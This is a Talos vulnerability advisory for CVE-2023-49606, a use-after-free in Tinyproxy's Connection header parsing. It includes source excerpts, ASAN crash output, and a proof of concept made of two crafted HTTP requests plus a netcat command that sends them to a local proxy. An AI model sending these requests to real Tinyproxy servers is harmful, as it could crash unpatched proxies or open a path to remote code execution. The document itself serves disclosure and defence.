Talos Vulnerability Report

TALOS-2023-1889

Tinyproxy HTTP Connection Headers use-after-free vulnerability

May 1, 2024
CVE Number

CVE-2023-49606

SUMMARY

A use-after-free vulnerability exists in the HTTP Connection Headers parsing in Tinyproxy 1.11.1 and Tinyproxy 1.10.0. A specially crafted HTTP header can trigger reuse of previously freed memory, which leads to memory corruption and could lead to remote code execution. An attacker needs to make an unauthenticated HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Tinyproxy 1.11.1
Tinyproxy Tinyproxy 1.10.0

PRODUCT URLS

Tinyproxy - https://tinyproxy.github.io/

CVSSv3 SCORE

9.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

DETAILS

Tinyproxy is a lightweight open-source HTTP proxy daemon focused on simplicity and efficiency.

As per the HTTP specification, the Connection header provided by the client denotes a list of HTTP headers that must be removed by the proxy in the final HTTP request. The proxy removes these HTTP headers from the request, performs the request to the remote server and sends the response back to the client.

Tinyproxy does exactly that in the remove_connection_headers() function:

	static int remove_connection_headers (orderedmap hashofheaders)
	{
	        static const char *headers[] = {
	                "connection",
	                "proxy-connection"
	        };
	
	        for (i = 0; i != (sizeof (headers) / sizeof (char *)); ++i) {
	                /* Look for the connection header.  If it's not found, return. */
	                data = orderedmap_find(hashofheaders, headers[i]);                        (1)
	
	                if (!data)
	                        return 0;                                                         (2)
					  
					...	

	                ptr = data;                 
			  
	                while (ptr < data + len) {
	                        orderedmap_remove (hashofheaders, ptr);                           (3)
							...	
	                }
	
	                /* Now remove the connection header it self. */
	                orderedmap_remove (hashofheaders, headers[i]);                            (4)
			}

			return 0;
	}

First we should note that the HTTP headers sent by the client reside in the hashofheaders key-value store. The code searches the hashofheaders for the Connection and Proxy-Connection headers and gets their value at (1), which as mentioned is a series of HTTP headers to remove. Each HTTP header listed by the client is removed at (3). Essentially, each HTTP header in the value of the Connection and Proxy-Connection headers is used as a key to remove from hashofheaders. Finally at (4) the HTTP header itself is removed.

In the orderedmap_remove() function we see:

	int orderedmap_remove(struct orderedmap *o, const char *key) {
	        htab_value *lv, *v = htab_find2(o->map, key, &sk);                                        (5)
			...
	        sv = sblist_get(o->values, v->n);                                                         (6)
	        free(*sv);
			...
	        htab_delete(o->map, key);                                                                 (7)
			...
	}

For the specific key provided, its hash is calculated at (5). Using the hash, the pointer for the value of the key is retrieved and freed at (6). Finally the key itself is deleted from the hashmap at (7).

Consider now what happens when the client sends the HTTP header Connection: Connection. For demonstration purposes we will just distinguish them as ConnectionA: ConnectionB. At (1) the value of the ConnectionA header is retrieved, which is of course ConnectionB. At (3), the value ConnectionB is used as a key variable at orderedmap_remove(). At (5) the hash of string ConnectionB is calculated, which is exactly the same as ConnectionA. Note that the hash is also case-insensitive. At (6) the hash is used to retrieve and free the pointer for the value of the HTTP header ConnectionA which is ConnectionB. So at this point the code has freed the memory for ConnectionB. At (7) the key variable now containing the stale pointer for ConnectionB is reused, leading to a Use-After-Free scenario.

As evident, this vulnerability can be used to perform memory corruption and gain code execution privileges.

Note that the same scenario can happen with the Proxy-Connection header. However, the remove_connection_headers() checks the Connection header first, and if it doesn’t exist the code exits at (2). As a result, to reproduce the issue as an alternative to Connection: Connection, the client can also send:

	Connection: [AnyValueHere]
	Proxy-Connection: Proxy-Connection

Crash Information

Here’s the ASAN output with our PoC:

==3249045==ERROR: AddressSanitizer: heap-use-after-free on address 0x5020000c22d0 at pc 0x555576e4e5b9 bp 0x7ffc023e5a70 sp 0x7ffc023e5238
	READ of size 3 at 0x5020000c22d0 thread T0
	    #0 0x555576e4e5b8 in strlen (/home/dtatsis/tinyproxy/build.asan/bin/tinyproxy+0x4a5b8) (BuildId: 160f4d028d850c87b6d558d53998f75e033349ee)
	    #1 0x555576f2e6ae in remove_connection_headers /home/dtatsis/tinyproxy/src/reqs.c:759:32
	    #2 0x555576f27a91 in process_client_headers /home/dtatsis/tinyproxy/src/reqs.c:889:9
	    #3 0x555576f24073 in handle_connection /home/dtatsis/tinyproxy/src/reqs.c:1690:13
	    #4 0x555576f15e94 in child_main /home/dtatsis/tinyproxy/src/child.c:312:17
	    #5 0x555576f147f4 in child_make /home/dtatsis/tinyproxy/src/child.c:371:9
	    #6 0x555576f14401 in child_pool_create /home/dtatsis/tinyproxy/src/child.c:441:36
	    #7 0x555576f32baa in main /home/dtatsis/tinyproxy/src/main.c:410:13
	    #8 0x7ff2a1c15d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
	    #9 0x7ff2a1c15e3f in __libc_start_main csu/../csu/libc-start.c:392:3
	    #10 0x555576e385e4 in _start (/home/dtatsis/tinyproxy/build.asan/bin/tinyproxy+0x345e4) (BuildId: 160f4d028d850c87b6d558d53998f75e033349ee)
	
	0x5020000c22d0 is located 0 bytes inside of 11-byte region [0x5020000c22d0,0x5020000c22db)
	freed by thread T0 here:
	    #0 0x555576ed46e6 in free (/home/dtatsis/tinyproxy/build.asan/bin/tinyproxy+0xd06e6) (BuildId: 160f4d028d850c87b6d558d53998f75e033349ee)
	    #1 0x555576f1da9f in hashmap_remove /home/dtatsis/tinyproxy/src/hashmap.c:479:25
	    #2 0x555576f2e6a2 in remove_connection_headers /home/dtatsis/tinyproxy/src/reqs.c:756:25
	    #3 0x555576f27a91 in process_client_headers /home/dtatsis/tinyproxy/src/reqs.c:889:9
	    #4 0x555576f24073 in handle_connection /home/dtatsis/tinyproxy/src/reqs.c:1690:13
	    #5 0x555576f15e94 in child_main /home/dtatsis/tinyproxy/src/child.c:312:17
	    #6 0x555576f147f4 in child_make /home/dtatsis/tinyproxy/src/child.c:371:9
	    #7 0x555576f14401 in child_pool_create /home/dtatsis/tinyproxy/src/child.c:441:36
	    #8 0x555576f32baa in main /home/dtatsis/tinyproxy/src/main.c:410:13
	    #9 0x7ff2a1c15d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
	
	previously allocated by thread T0 here:
	    #0 0x555576ed498e in malloc (/home/dtatsis/tinyproxy/build.asan/bin/tinyproxy+0xd098e) (BuildId: 160f4d028d850c87b6d558d53998f75e033349ee)
	    #1 0x555576f1c280 in hashmap_insert /home/dtatsis/tinyproxy/src/hashmap.c:217:21
	    #2 0x555576f2baa7 in add_header_to_connection /home/dtatsis/tinyproxy/src/reqs.c:616:16
	    #3 0x555576f24b4b in get_all_headers /home/dtatsis/tinyproxy/src/reqs.c:657:32
	    #4 0x555576f23663 in handle_connection /home/dtatsis/tinyproxy/src/reqs.c:1600:13
	    #5 0x555576f15e94 in child_main /home/dtatsis/tinyproxy/src/child.c:312:17
	    #6 0x555576f147f4 in child_make /home/dtatsis/tinyproxy/src/child.c:371:9
	    #7 0x555576f14401 in child_pool_create /home/dtatsis/tinyproxy/src/child.c:441:36
	    #8 0x555576f32baa in main /home/dtatsis/tinyproxy/src/main.c:410:13
	    #9 0x7ff2a1c15d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

In a regular build of the daemon the code crashes during a double free during the orderedmap_destroy() function.

	free(): double free detected in tcache 2
	IOT instruction  ./src/tinyproxy -d -c ../tinyproxy-fuzz/tinyproxy.config

Exploit Proof of Concept

As mentioned, the PoC for the vulnerability is a very simple HTTP request. One variation is:

 GET / HTTP/1.1
 Connection: Connection
 Host: 192.168.86.166:8000

Or alternatively:

 GET / HTTP/1.1
 Connection: keep-alive
 Proxy-Connection: Proxy-Connection
 Host: 192.168.86.166:8000

Assuming there is an actual host at 192.168.86.166:8000, one can do:

 cat heap-uaf.poc | nc 127.0.0.1 8888

With the relevant tinyproxy.config being:

 Port 8888
 Listen 127.0.0.1
VENDOR RESPONSE

No maintainer response, no patch available.

TIMELINE

2023-12-20 - Initial Vendor Contact
2023-12-22 - Vendor Disclosure
2024-01-10 - Request for confirmation
2024-03-07 - Status update request / publication date announced
2024-05-01 - Public Release

Credit

Discovered by Dimitrios Tatsis of Cisco Talos.